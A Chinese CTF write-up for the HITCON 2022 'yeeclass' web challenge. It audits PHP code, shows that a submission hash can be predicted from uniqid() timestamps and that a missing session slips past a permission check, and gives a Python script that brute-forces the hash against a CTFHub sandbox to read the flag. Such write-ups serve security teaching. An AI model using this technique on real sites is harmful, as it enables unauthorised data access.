Ctfhub——2022-HitCon-Web-yeeclass

代码审计

ini.php

全局搜索flag关键词,在ini.php中发现有对flag进行初始化的操作,创建了一个submission表

<?php 

$pdo = new PDO("mysql:host=database;dbname=yeeclass", "yeeclass", "yeeclass");

$username = "flagholder";
$password = base64_encode(random_bytes(40));

echo "Username: $username; Password: $password\n";

// create user
$user_query = $pdo->prepare("INSERT INTO user (username, `password`, class) VALUES (?, ?, ?)");
$user_query->execute(array($username, hash("md5", $password), 0));

// submit flag
$id = uniqid($username."_");
echo $id."\n";

$submit_query = $pdo->prepare("INSERT INTO submission (`hash`, userid, homeworkid, score, content) VALUES (?, ?, ?, ?, ?)");
$submit_query->execute(array(
    hash("sha1", $id),
    $pdo->lastInsertId(),
    1,
    100,
    $_ENV["FLAG"]
));

插入的字段和内容分别为

字段内容
`hash`hash(“sha1″, uniqid($username.”_”))
userid$pdo->lastInsertId()
homeworkid1
score100
content$_ENV[“FLAG”]

同时还有一张user表

字段内容
usernameflagholder
`password`hash(“md5”, $password)
class0

submission.php

在submission.php发现可以通过hash参数进行content字段的查询和回显

if (isset($_GET["hash"]) && $_GET["hash"] != "") {
    // view single submission
    $mode = "view";
    $submission_query = $pdo->prepare("SELECT s.*, u.username, h.name from submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.`hash`=?");
    $submission_query->execute(array($_GET["hash"]));
    $result = $submission_query->fetch(PDO::FETCH_ASSOC);

    if (!$result) {
        http_response_code(404);
        die("Submission not found.");
    }

view模式下代码

<?php if ($mode == "view") { ?>
        <section id="view">
            <h3><?= $result["username"] ?>_<?= $result["name"] ?> <a href="submit.php?homeworkid=<?= $result['homeworkid'] ?>&delete=<?=  $result['hash'] ?>">[Delete]</a></h3>
            <p>Time: <?= $result["time"] ?></p>
            <p>Score: <?= $result["score"] ?? "(Not judged)" ?></p>
            <pre><?= htmlspecialchars($result["content"]) ?></pre>
        </section>

通过homeworkid参数可以查看插入的时间等内容

if (isset($_GET["homeworkid"])) {
        $homework_query = $pdo->prepare("SELECT * FROM homework WHERE id=?");
        $homework_query->execute(array($_GET["homeworkid"]));
        $result = $homework_query->fetch(PDO::FETCH_ASSOC);

        if (!$result) {
            http_response_code(404);
            die("Homework not found");
        }
		
		#没登录过时$_SESSION["userclass"]为NULL
        if ($_SESSION["userclass"] < PERM_TA && !$result["public"]) {
            http_response_code(403);
            die("No permission");
        }

        $mode = "homeworklist";
        $total_query = $pdo->prepare("SELECT COUNT(*) FROM submission WHERE homeworkid=?");
        $total_query->execute(array($_GET["homeworkid"]));
        $total = $total_query->fetchColumn(0);

        $page = max(1, min(intval($_GET["page"]), ceil($total / 10)));
        
        $list_query = $pdo->prepare("SELECT s.*, u.username, h.name, h.public FROM submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.homeworkid=? ORDER BY s.time DESC LIMIT 10 OFFSET ?");
        $list_query->bindValue(1, $_GET["homeworkid"]);
        $list_query->bindValue(2, ($page - 1) * 10, PDO::PARAM_INT);
        $list_query->execute();
        $result = $list_query->fetchAll(PDO::FETCH_ASSOC);

init.sql

通过该文件可以看到初始化创建的表,user中class字段默认为-1
CREATE TABLE `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(12) NOT NULL,
  `password` varchar(32) NOT NULL,
  `class` tinyint(4) NOT NULL DEFAULT -1,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

漏洞利用

整体思路就是通过hash参数查到content字段中的flag,但是还需要伪造unqid函数的值才能伪造hash。

uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
参考链接:https://www.freebuf.com/articles/web/163058.html

先将时间转化为时间戳
uniqid(prex)的格式为:前缀 + 秒数的8位16进制数 + 微秒取模0x100000的5位16进制数


C语言关键源码为:  
uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);

所以我们伪造unqid就需要获取插入时间,正好通过homeworkid参数即可获得。由ini.php知道homeworkid为1,但是要注意还要不满足下列条件判断

if ($_SESSION["userclass"] < PERM_TA && !$result["public"]) {
            http_response_code(403);
            die("No permission");
        }

该点可以通过未登录时$_SESSION为空来绕过。NULL < 0无法成立,NULL是弱类型等于0的

获得插入时间后就是伪造hash,但是要注意,插入时间与unqid获取时间戳由于执行顺序,会存在微秒级差异,所以要爆破

exp

import requests
import hashlib
from datetime import datetime


url = 'http://challenge-4649b06ba28a7a26.sandbox.ctfhub.com:10800/submission.php'
time = '2023-12-01 00:38:28.623641'
datetime_object = datetime.strptime(time, "%Y-%m-%d %H:%M:%S.%f")
timestamp = datetime.timestamp(datetime_object)
sec = int(timestamp)  
usec = datetime_object.microsecond  

for i in range(-1000,1000):
    a = sec
    b = usec + i
    idstr = "flagholder_{:08x}{:05x}".format(a,b)
    hash = hashlib.sha1(idstr.encode('utf-8')).hexdigest()
    parm = {"hash":hash}
    r = requests.get(url=url,params=parm)
    if r.text != "Submission not found.":
        print(hash)
        print(f"flag_is:{r.text}")
        break
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇